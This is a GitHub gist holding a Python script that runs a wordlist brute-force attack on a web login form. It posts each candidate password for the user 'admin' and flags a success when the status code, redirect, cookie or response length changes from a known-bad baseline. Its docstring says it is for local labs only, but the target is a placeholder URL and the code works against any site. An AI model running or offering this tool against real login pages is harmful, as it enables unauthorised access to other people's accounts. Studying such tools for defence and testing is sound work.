Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Select an option

  • Save shakilofficial0/05812e30a5a9acfd9c3fa47a99cf34a1 to your computer and use it in GitHub Desktop.

Select an option

Save shakilofficial0/05812e30a5a9acfd9c3fa47a99cf34a1 to your computer and use it in GitHub Desktop.
#!/usr/bin/env python3
"""
local_bruteforce_demo.py
Demonstrates the mechanics of trying credentials from a wordlist and detecting success.
**SAFE for local labs only** — do not use against remote systems without explicit permission.
Usage:
1. Start a local test web app that accepts POST /login.php (or modify TARGET).
2. Place candidate passwords in wordlist.txt (one per line).
3. Run: python3 local_bruteforce_demo.py
This script compares the server response for a known-bad login with each attempt,
and flags attempts that change status, redirect, set cookies, or have a significantly
different response body.
"""
import requests
from urllib.parse import urljoin
import sys
import time
# === CONFIGURE FOR LOCAL TESTING ONLY ===
TARGET = "https://<url>/login.php" # default local lab address
USERNAME = "admin" # username to test
WORDLIST = "secret.txt" # local wordlist file
TIMEOUT = 5.0
# Helper: perform a single login POST and return detection markers
def attempt_login(session, url, username, password):
try:
resp = session.post(url, data={"username": username, "password": password}, timeout=TIMEOUT, allow_redirects=False)
except Exception as e:
return {"error": str(e)}
markers = {
"status_code": resp.status_code,
"location": resp.headers.get("Location"),
"set_cookie": resp.headers.get("Set-Cookie"),
"body_len": len(resp.text or ""),
# optionally capture a short snippet to inspect (avoid large bodies)
"snippet": (resp.text or "")[:200].lower()
}
return markers
def main():
# quick check: baseline with a known-bad password
session = requests.Session()
print(f"[+] Baseline (known-bad) attempt for {USERNAME}...")
baseline = attempt_login(session, TARGET, USERNAME, "this-is-a-bad-password-123")
if "error" in baseline:
print("[!] Error contacting target:", baseline["error"])
print("Make sure you're running a local test server at", TARGET)
sys.exit(1)
print("Baseline markers:", baseline)
try:
with open(WORDLIST, "r", encoding="utf-8", errors="ignore") as f:
for lineno, line in enumerate(f, start=1):
pwd = line.strip()
if not pwd:
continue
markers = attempt_login(session, TARGET, USERNAME, pwd)
if "error" in markers:
print(f"[!] line {lineno}: network/error: {markers['error']}")
continue
# Heuristics: consider cracked if:
# - status code differs (e.g., 200 -> 302)
# - there's a redirect Location header
# - Set-Cookie appears where baseline had none
# - body length differs significantly ( > 25% change )
changed = False
reasons = []
if markers["status_code"] != baseline["status_code"]:
changed = True
reasons.append(f"status {baseline['status_code']}->{markers['status_code']}")
if markers["location"] and markers["location"] != baseline.get("location"):
changed = True
reasons.append(f"redirect -> {markers['location']}")
if markers["set_cookie"] and markers["set_cookie"] != baseline.get("set_cookie"):
changed = True
reasons.append("set-cookie present")
# body length change heuristic
base_len = baseline.get("body_len", 0)
if base_len > 0:
diff = abs(markers["body_len"] - base_len) / base_len
if diff > 0.25:
changed = True
reasons.append(f"body_len changed {base_len}->{markers['body_len']}")
else:
if markers["body_len"] != base_len:
changed = True
reasons.append(f"body_len changed {base_len}->{markers['body_len']}")
if changed:
print(f"[POTENTIAL] line {lineno}: password='{pwd}' -> {', '.join(reasons)}")
print("Snippet:", markers["snippet"])
# stop on first hit; remove break if you want to continue
return
if lineno % 500 == 0:
print(f"[+] tried {lineno} passwords...")
print("Finished wordlist; no likely matches found (in local test).")
except FileNotFoundError:
print("Wordlist not found:", WORDLIST)
sys.exit(1)
if __name__ == "__main__":
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment